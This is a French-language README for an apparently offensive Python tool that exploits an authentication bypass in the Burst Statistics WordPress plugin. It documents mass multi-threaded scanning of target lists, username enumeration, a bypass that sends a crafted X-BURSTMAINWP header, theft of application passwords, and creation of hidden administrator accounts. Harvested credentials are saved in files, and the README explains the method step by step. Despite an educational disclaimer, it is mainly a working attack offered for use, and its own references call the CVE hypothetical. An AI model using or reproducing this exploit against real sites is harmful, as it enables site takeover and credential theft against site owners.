CVE-2026-8181 - Exploit de contournement d'authentification Burst Statistics

Exploit Python 2.7 pour la vulnérabilité du plugin Burst Statistics (CVE-2026-8181) qui permet à des attaquants non authentifiés de contourner l'authentification de l'API REST, de récupérer les mots de passe d'application et de créer de nouveaux utilisateurs administrateurs sur des sites WordPress vulnérables.

⚠️ Avertissement
Cet outil est destiné uniquement à des fins éducatives et de tests de sécurité autorisés. L'accès non autorisé à des systèmes informatiques est illégal. Utilisez-le uniquement sur des sites Web que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test. Vous pouvez consulter l'avertissement complet sur le profil de Jenderal92. Consultez-le ICI !!!

CVE-2026-8181 affecte le plugin Burst Statistics pour WordPress (versions antérieures au correctif). La faille réside dans le mécanisme d'authentification de l'API REST, permettant à un attaquant de :

• Contourner l'authentification en envoyant un en-tête X-BURSTMAINWP spécialement conçu
• Récupérer les mots de passe d'application via le point de terminaison /burst/v1/mainwp-auth
• Effectuer des actions privilégiées (lister les utilisateurs, lire les paramètres, créer de nouveaux comptes administrateur) via l'API REST de WordPress

Fonctionnalités

• Analyse multi-thread (10 threads par défaut)
• Détection automatique des chemins de base WordPress (/, /wordpress, /wp)
• Énumération des noms d'utilisateur via /wp-json/wp/v2/users ou redirections par ID d'auteur
• Exploitation du contournement d'authentification pour :
  • Obtenir les mots de passe d'application (jeton encodé en Base64)
  • Vérifier l'accès aux points de terminaison REST sensibles (paramètres, plugins, utilisateurs administrateurs)
  • Créer un nouvel utilisateur administrateur avec des identifiants aléatoires
• Deux fichiers de sortie :
  • res_login.txt – Identifiants REST API concis, séparés par des barres verticales (faciles à analyser/importer)
  • full_res_login.txt – Rapport complet lisible par un humain, incluant la vérification d'accès et les mots de passe d'application

Prérequis

• Python 2.7 (obsolète mais requis par le script)
• Bibliothèque requests

pip install requests

Utilisation

1. Préparez un fichier de liste de cibles (un domaine ou une IP par ligne, avec ou sans http:///https://).

   Exemple targets.txt :

   example.com
   https://vulnerable-site.com
   127.0.0.1/wordpress
   

2. Exécutez l'exploit :

python2 CVE-2026-8181.py targets.txt

3. Les résultats sont enregistrés dans deux fichiers dans le répertoire courant :
   • res_login.txt – Identifiants REST API (une ligne par cible vulnérable)
   • full_res_login.txt – Rapport détaillé

Options de ligne de commande

Argument	Description
list.txt	Chemin vers le fichier contenant les URL cibles

Exemple de sortie (console)

============================================================
CVE-2026-8181 - Burst Statistics Auth Bypass Exploit
============================================================
[*] Total targets: 2
[*] Threads: 10
[*] Base paths: ['', '/wordpress', '/wp']

[*] Scanning: example.com
    Trying path: /
    Detected username: admin
    [+] VULNERABLE! REST API bypass successful
    [+] Application Password obtained!
    [+]   Username: admin
    [+]   App Password: xxxx xxxx xxxx
    [+]   Base64 Token: YWRtaW46eHh4eA==
    [+] Access confirmed: WordPress settings
    [+] Access confirmed: Installed plugins
    [+] Access confirmed: Admin users
    [+] Admin user created via REST API: wp_abc123
    [+] Results saved to res_login.txt and full_res_login.txt

Formats des fichiers de sortie

1. res_login.txt – Identifiants REST API concis

Chaque ligne suit ce format séparé par des barres verticales :

target|username|password|email|user_id

Exemple :

http://example.com|wp_xyz789|AbC123xyz456|[email protected]|42

Ce format est idéal pour :

• Importer dans des gestionnaires de mots de passe ou des bases de données
• Automatiser d'autres actions (par exemple, des scripts de connexion)
• Inspection rapide avec cut, grep ou Excel

2. full_res_login.txt – Rapport complet et détaillé

Pour chaque cible vulnérable, le script ajoute un bloc lisible par un humain :

============================================================
Target: http://example.com
============================================================

[+] Access Verification:
    [+] WordPress settings
    [+] Installed plugins
    [+] Admin users

[+] REST API Credentials:
    Username: wp_abc123
    Password: random12char
    Email: [email protected]
    User ID: 42
    URL: http://example.com/wp-admin/
    Note: Use with X-BURSTMAINWP header

[+] Application Password:
    Username: admin
    App Password: xxxx xxxx xxxx
    Base64 Token: YWRtaW46eHh4eA==

Remarque : Si le point de terminaison du mot de passe d'application n'est pas disponible ou ne renvoie aucun jeton, cette section affichera FAILED.

Comment cela fonctionne

1. Préparation des cibles – Ajoute le préfixe http:// s'il est manquant, supprime les barres obliques finales.
2. Itération des chemins – Essaie /, /wordpress et /wp comme répertoires de base WordPress.
3. Énumération des noms d'utilisateur – Récupère /wp-json/wp/v2/users ou utilise les redirections ?author=N.
4. Test de contournement – Envoie X-BURSTMAINWP: 1 + authentification Basic avec le nom d'utilisateur et un mot de passe factice (CVE-2026-8181). Si le point de terminaison /wp-json/wp/v2/users/me?context=edit renvoie 200, le site est vulnérable.
5. Exploitation –
   • Envoie une requête à /wp-json/burst/v1/mainwp-auth pour récupérer un jeton de mot de passe d'application.
   • Vérifie l'accès à /settings, /plugins, /users.
   • Crée un nouveau compte administrateur via POST /wp-json/wp/v2/users.
6. Enregistrement des résultats – Écrit les identifiants REST concis dans res_login.txt et les détails complets dans full_res_login.txt.

Personnalisation

Vous pouvez modifier ces variables dans le script :

• THREADS – Nombre de threads simultanés (10 par défaut)
• BASE_PATHS – Sous-répertoires WordPress supplémentaires à vérifier
• Valeurs de délai d'attente (timeout) de requests

Licence

Ce projet est fourni à des fins éducatives uniquement. Utilisez-le à vos propres risques.

Références

• Détail de CVE-2026-8181 (hypothétique)
• Plugin Burst Statistics (versions affectées)